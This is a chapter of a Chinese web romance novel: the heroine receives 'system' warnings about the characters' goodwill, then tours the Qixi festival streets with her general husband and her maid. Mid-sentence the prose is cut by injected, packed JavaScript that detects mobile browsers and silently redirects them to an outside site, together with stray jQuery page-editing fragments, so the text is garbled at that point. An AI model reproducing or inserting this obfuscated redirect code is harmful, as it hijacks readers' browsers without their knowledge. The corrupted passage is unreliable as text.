接下来的日子于江意晚而言,好比度日如年。季将离不知吃错了什么药,成日只知缠着她献殷勤,除非实在无暇回府,一回来便是巴巴跑到她跟前。即便她将他视若无物,他依旧乐此不疲,好像即便相顾无言,只要能看见她就可安心。
空闲时,江意晚再度点开系统面板,却没想到刚刚打开,便是被吓了一大跳。
【警告——警告——】
【警告——警告——】
【发现关键人物对宿主友好度跌破下限,宿主人身安全即将受到威胁。】
【当前气运值:60%】
【主线任务:进行中。】
【支线任务:进行中。】
【隐藏剧情:虞晚英之死。当前解锁:60%】
满屏飘动的红字和尖锐刺耳的警报声震得江意晚一阵头晕目眩,她连忙喊道:“大缸大缸,快先把这声音给我关掉!”
“哦,好的宿主。”指令下达后,大缸紧张的声音才终于浮现,“宿主,你知道吗?你现在很危险!”
江意晚想起大缸之前提到过,友好度如果跌破负十万,江念欢可能会她做出些恐怖的事,此刻便往友好度数据仔细看过去。
【人物姓名:季将离】
【当前友好度:75/100】
【人物姓名:谢云停】
【当前友好度:45/100】
【人物姓名:江念欢】
【当前友好度:系统无法显示】
“这……都已经无法显示了啊。”江意晚无奈地扶了扶额头,左右江念欢对她一直有偏见,如今她也只能走一步算一步,尽力防范。实际上,比起江念欢,这数据里她更觉奇怪的,反倒是季将离……这家伙,在对她做了那么过分的事情后,居然莫名其妙地提升了15点友好度?请问他对她到底友好在哪里了……
大缸好似猜到了她心中所想,小声猜测道:“宿主宿主,会不会他对自己的所作所为心生愧疚,这才对你更有好感啦?”
“有病。”江意晚面色一沉,干脆地骂了一句。
以愧为引,可维情缘。这等言论她自然曾经听说过,只不过初初听闻,她便嗤之以鼻。情爱之意,本就不堪一击。若本身意志不够坚定,还反倒要靠做出些自疚之事才能艰难维持,那这等情缘,她不要也罢。
大缸继续道:“宿主,大缸虽然可以检测出你现在很危险,却不能预知你到底会何时何地受袭。所以宿主你可千万要小心,大缸的身家性命可都全系在你身上了!呜呜呜呜呜……”
“知道啦知道啦,别哭了。”江意晚笑了笑,耐心地哄道,“放心吧,我不会有事的。”
还有诸多疑团尚未被解开,待办之事也尚且未圆满,无论如何,她定会护佑自身周全。
……
七夕终于如约到来。江意晚苦思冥想,正想着该如何找个理由溜出将军府,季将离却是忽然来访。
“你没有自己的房间吗?又跑来我这儿干嘛?”人影刚至,江意晚便没好气地如此开口问道,却在抬眼看清他的一瞬,忽然愣住了神。
今日的季将离身着朱红色外衣,内配玄色长袍,黑红交织,沉稳潇洒。头顶的乌木冠将他长发高束,中心一点朱玉又与外衣相得益彰,更衬得他丰神俊朗,就连脚上的靴子都一尘不染,光泽可鉴。从头到脚,皆是她未曾见过的装扮,好似精心打理过一番。除却新婚之夜,江意晚甚少见他着如此鲜亮的颜色,此时见着,竟觉耳目一新,不自觉多瞧了几眼。
季将离刚刚张了张嘴准备说话,被她这么一怼,此时面上神色颇为尴尬,只得解释道:“今日是乞巧节,城里热闹得很。城中新造了座‘磨合罗’人偶,还支了许多铺子办了新的街市,你想不想,出去看看?”
江意晚表情怪异地望向他,这人怎的忽然转了性子,竟肯放她出去了?怕不是设下了什么圈套,待她一走出大门就要将她押走吧?她歪了歪头,警惕问道:“为何?你今日竟有这么好心?”
季将离有些不好意思地移开目光:“我只是瞧你成日呆在府中,怕你太闷,这才随口一问。你若是不愿意出去,便也罢了……”
“去,当然想去!”江意晚迫不及待地出声打断道。本就计划出逃,如今得此机会,她自然要好好把握。
他抬了抬唇角,笑得几乎有些不自然:“只是外边人太多太杂,你一个人出去,我还是不放心,最好还是找个人陪你一起。”
江意晚正对着铜镜整理发髻,听他这么说,便朝屋外大喊了一声:“燕儿,快收拾收拾,将军今日准我们出府去了。”
一听她呼唤燕儿,季将离脸上表情瞬间变得精彩起来:“你要带上燕儿?”
“对啊,你不是说我一个人你不放心吗,那我就把燕儿也带上,这样总行了吧。”江意晚回过头无辜地眨了眨眼睛。
“……”季将离无言以对,只能轻咳几声开口道,“燕儿一个姑娘家的,也不会武功。我今日恰好空闲,不如还是让我陪你们一同去吧。”
话音刚落,江意晚脸上的欣喜瞬间凉了几分,不过好在总归能出府了,大不了再寻个机会去拜月楼即可。思及此处,她微微颔首道:“行,那走吧。”
离开将军府后没走多远,江意晚便瞧见了他先前所说的那座磨合罗。
磨合罗乃是乞巧节的节令玩偶,此物以泥土为胎,捏成可爱孩童模样,再绘以彩漆装饰,据说能保佑姻缘美满、多子多福。因着多为女子信奉,通常都制成恰好握在手心的尺寸,如她们眼前这般大小的,倒是当真罕见。
眼前这座磨合罗身长约七尺,盘坐在地,头扎两顶冲天鬏,身着鲜红肚兜,右手还握着一串冰糖葫芦。再仔细瞧那脸蛋,灵动的大眼笑得半眯了起来,被刷成粉色的腮帮子鼓鼓的,像是刚塞进去几枚山楂,当真是天真烂漫,栩栩如生。磨合罗前方被立着一张供桌,桌上香炉已经插满了香,想来已被无数女子祭拜过。
季将离见她一直注视,便善意开口道:“晚晚,你也想拜吗?我瞧她们都在那边排队,要不咱们也去先排着。”
江意晚被他一声“晚晚”吓得浑身起了疙瘩,连忙摆了摆手道:“不必不必,我只是看看。我们去别处转转吧。”
姻缘美满?多子多福?她才不稀罕。若是现在有尊包青天的雕像在她面前,她倒是想拜一拜,期望他老人家大显神通,早日助她拨云见日,得探真相。
三人又在街
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091718|171663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
市上转了几圈,江意晚属实兴致不大,也就是走马观花,却被季将离拉着在一处珠钗铺子停下脚步。
只见他低头沉思,时不时还拾起几只钗放在她发间比划,但又都觉得不够好,颇为烦恼地托住了自己下巴。几番挑选下,连那店铺老板都面露不耐:“这位公子啊,我们铺上这么多珠钗,您就没有一只相中的吗?要我说呀,您这夫人长得如此貌美,随便什么钗和她都是绝配。”
燕儿小声嘀咕了一句:“就是就是,我们小姐就是最美的,戴什么钗都好看。”
江意晚则是忽然回忆起江念欢那满头珠翠,事不关己道:“江念欢的首饰够多了,你随便选一支便是,想来你送的,她都会喜欢。”
季将离闻声一愣,片刻后却是扬唇笑了起来。他转过头望向她,认真地答道:“晚晚,你怎会觉得我是给她买的?我是为你选的。你,自然是值得最好的。”
投射过来的目光过于热忱深情,让她一瞬间几乎都要忘记曾经发生过的一切。江意晚发觉,自己好不容易冰封起来的心脏在他滚烫的注视下,居然开始再度融化,她连忙撤回了视线,随手在铺子上捡了一支:“就,就这支吧。”
季将离瞥了瞥她手中玉钗的样式,忽然笑得更灿烂了些:“好,就这支。”
什么毛病?给人花钱送礼物能笑成这副不值钱的模样?江意晚狐疑地顺着他的视线往手中望去,只见她随意挑的那枚玉钗好巧不巧,正好是芍药花样……江意晚顿时觉得,自己今天手气真的太差了。
逛了许久,燕儿终于有些坚持不住了:“小姐,燕儿饿了,咱们去吃饭好不好呀。”
燕儿一向受江意晚宠爱,平日里也是没大没小惯了,此时竟一时忘记了季将离在场,径自开了口。意识到自己说了什么后,她慌张地捂住了嘴,生怕季将离为此生气。
好在季将离今日心情瞧上去不是一般的好,他听闻此言,只是浅浅笑着问道:“晚晚,你饿了吗?”
江意晚终于找到机会,连忙开口:“也差不多到饭点了,不如我们今日就去拜月楼吧。”
“今日乞巧节,拜月楼定是生意兴隆。如若没有预约,应当是没有空位了。”季将离想了想,道,“回回都去拜月楼,多少也会有些厌倦吧。不如这样,我带你吃一些特别的。”
她只能点了点头,道:“好吧。”
江意晚万万没想到,她此前轻飘飘一句“好吧”的结果会是三人硬生生又走了半个时辰,直到都快走到城门了,才终于看到了一间小面馆。严格来说,这面馆甚至不配被称之为“馆”,顶多能算个小铺子。
露天的摊位只摆了三张陈旧木桌,每桌配有四把竹椅。江意晚随季将离在其中一桌坐下,便发现桌面上遍布着各式各样的划痕,好在看上去还算干净。她又朝那所谓的厨房望去,那处则是由一辆简单的木制推车充当。推车上放着一口蒸汽腾腾的大锅,两盆粗细程度不一的生面条并排摆放着,除此之外便是些葱花、香菜之类的调味料。
面摊主人是位已经白发苍苍的老人,他一见三人坐下,便是热情地走了过来,笑呵呵道:“几位,想吃点什么面啊?”
季将离则是冲他扬唇一笑:“张爷爷,是我。”